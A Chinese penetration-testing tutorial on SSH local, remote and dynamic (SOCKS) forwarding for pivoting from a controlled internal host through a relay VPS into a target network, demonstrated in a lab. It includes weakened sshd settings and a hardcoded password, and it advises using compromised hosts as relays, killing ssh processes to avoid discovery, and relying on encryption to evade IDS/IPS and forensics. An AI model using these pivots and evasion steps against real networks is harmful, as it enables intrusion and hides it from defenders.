通向彼岸 之内网代理转发 [ ssh隧道 ]



0x01 此次用于实验的大致环境,如下:

1
2
3
4
5
6
lnmp01 [centOS6.8_x64] ip: 192.168.3.30 假设为自己公网的vps[一般都会用一台公网的linux肉鸡],等会儿主要用来负责ssh转发
MidLAMP [centOS6.8_x64] ip: 192.168.32.193 假设为目标内网中的一台linux机器,能正常连公网
win2008cn ip: 192.168.32.170 假设为目标内网中的一台windows机器,不能连公网
win2008R2cn ip: 192.168.3.23 假设为目标公网中的一台windows机器,rdp只能通过192.168.3.x这个ip段访问
win7en ip: 192.168.32.195 假设为自己本地内网中的一台windows机器
win7en_bak ip: 192.168.3.17 假设为自己公网的另一台windows机器

0x02 关于ssh 工具本身选项用途简介 [更多详情,请自行man ssh,帮助手册里面说的非常详细]:

1
2
3
4
5
6
7
8
9
10
11
12
-C 压缩传输数据,加快传输速度
-f 后台对用户名密码进行认证
-N 仅仅只用来转发,不用再弹回一个新的shell
-n 后台运行
-q 安静模式,不要显示警告等信息
-l 指定ssh登录名
-g 允许远程主机连接到本地转发的端口
-L 进行本地端口转发
-R 进行远程端口转发
-D 动态转发,即socks代理
-T 禁止分配伪终端
-p 指定远程ssh服务端口

0x03 在建立转发之前,我们需要先到自己的vps[lnmp01]上对ssh做些简单调整顺便创建用于转发的系统用户,具体如下,一切完毕之后务必记得重启ssh服务

1
# vi /etc/ssh/sshd_config

1
2
3
4
5
6
7
PermitRootLogin yes 允许root远程登陆,其实并不建议这样干
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止ssh断开
PasswordAuthentication yes
ServerAliveInterval=20
ServerAliveCountMax=8
1
# /etc/init.d/sshd restart

创建用于转发的用户

1
2
# useradd -s /sbin/nologin klion
# echo "admin110" | passwd --stdin klion

0x04 首先,进行最常见的ssh本地端口转发,注意,这里可以一次转发多个端口

1
2
3
4
下面这句话的意思,就是将本地机器的某个端口转发到指定的远程机器的某个端口上
既然是转发,肯定少不了个中间人,这个中间人到底是谁呢,其实就是@后面的机器
实际的应用场景比较多,比如企业内部代理上网,个人翻墙,其实用的都是类似的东西...
但对于渗透来讲,我们用的最多的可能还是让目标内网中一些不能正常连网的机器也能通过此方式来正常上线

1
# ssh -C -f -N -g -L [本地机器ip]:本地机器指定的端口:远程机器ip:远程机器指定的端口 tmpuser@vps上的ssh服务 -p vps ssh的服务端口
1
2
假设当前所在的机器为win2008cn[192.168.32.170],我现在想通过MidLAMP这台机器来访问win2008R2cn的rdp
事先我们已经知道win2008R2cn和lnmp01是可以正常通信的,那么现在就可以这么干

在MidLAMP这台目标机器上执行:

1
# ssh -C -f -N -g -L 192.168.32.193:1234:192.168.3.23:3389 klion@192.168.3.30 -p 22

此时回到win2008cn这台机器上访问MidLAMP的1234端口就相当于访问win2008R2cn的3389

1
mstsc 192.168.32.193:1234

用完以后记得立马把ssh进程kill掉,尽量别被发现

1
2
3
# ps -le | grep ssh
# netstat -tulnp
# killall ssh

0x05 理解了简单的本地端口转发,我们再来看远程转发

1
2
3
4
5
最好以root权限登录,因为直接在远程机器上侦听端口可能需要提供特权,这也是为什么这里最好直接用肉鸡的原因,自己的vps很容易暴露
如果你真正理解了本地转发,其实远程转发就更容易了,本地转发有点儿类似我们的正向代理,而远程转发,则是完全相反的方向,类似我们的反向代理
正常情况下,公网是不能直接访问内网特定的机器的[一般都是nat进去的]
但你现在想进一步对目标内网进行渗透,你希望在目标内网有个跳板机,就可以尝试利用这种方式来绕进去
简单来说就是通过公网的某台机器作为中转,来访问目标内网中的某台特定的肉鸡,具体转发如下

1
# ssh -C -f -N -g -R [本地机器:]本地机器指定端口:指定的内网机器:指定内网机器上的指定端口 root@公网中转机器 -p ssh服务端口
1
2
假设我现在想实现这样的效果,我想在自己本地的机器上[win7en],通过lnmp01这台中转机来访问目标内网中的win2008cn机器,就可以这样做
在目标内网已控的linux机器上[MidLAMP]执行下面的转发,速度可能会稍慢

在MidLAMP这台目标机器上执行:

1
# ssh -C -f -N -g -R 0.0.0.0:2500:192.168.32.170:3389 root@192.168.3.30 -p 22

此时再回到win7en上执行,即可访问目标内网中的win2008cn机器的3389

1
mstsc 192.168.3.30:2500

0x06 理解了简单的端口转发后,最后我们再来看看如何利用ssh简单实现动态端口转发 [即socks代理]

1
2
我们要实现的最终效果就是,本地只需配合各种socks客户端代理工具,即可访问目标内网中的各类资源
关于socks代理本身,我想已经不用再说了,估计大家早已轻车熟路,基于ssh的socks代理默认是 socks 4/5

1
2
还是接着上面的话题,如果我们想进一步对目标内网进行渗透,每次都一个个端口进行转发估计要累死
有没有一种更好的方式能把整个目标内网都代理出来呢,不用想,肯定是有的,下面我就来简要说明下,如何利用ssh帮我们实现这种需求

依然是通过已控的linux机器[MidLAMP],使其通过lnmp01建立一条socks通道,具体如下,先在MidLAMP上执行如下命令

1
# ssh -qTfnN -D 0.0.0.0:1080 root@192.168.3.30 -p 22

1
2
3
4
做好上面的转发之后,再回到win7en_bak这台机器上,利用putty通过动态端口的方式连到lnmp01
意思就是通过lnmp01将MidLAMP机器的1080端口和win7en_bak的1235端口进行绑定,即建立socks
这样当访问win7en_bak的1235端口就相当于访问MidLAMP所在的整个目标内网段
至于各种socks客户端代理工具,我想这里就不多说了,个人比较喜欢Proxifier,大家随意,sockscap,proxychains都行,最终效果如下






小结:
    大家也看到了整个代理过程,真正理解了以后其实非常简单,利用ssh不管是做转发还是socks代理,唯一的好处就是通信数据全程加密,一定程度上课有效对抗各类ids,ips和取证,缺点可能就是速度可能会稍慢,不过也不是特别慢,对于渗透linux内网,这样做无疑是极好的,其实,以此衍生出的用法还有非常多,以后抽空再跟大家一一介绍,另外,暂时不用过于纠结某些学术名词,能达到我们最终的目的即可,了解那些术语,无非就是想看文章的时候更好地理解别人的意思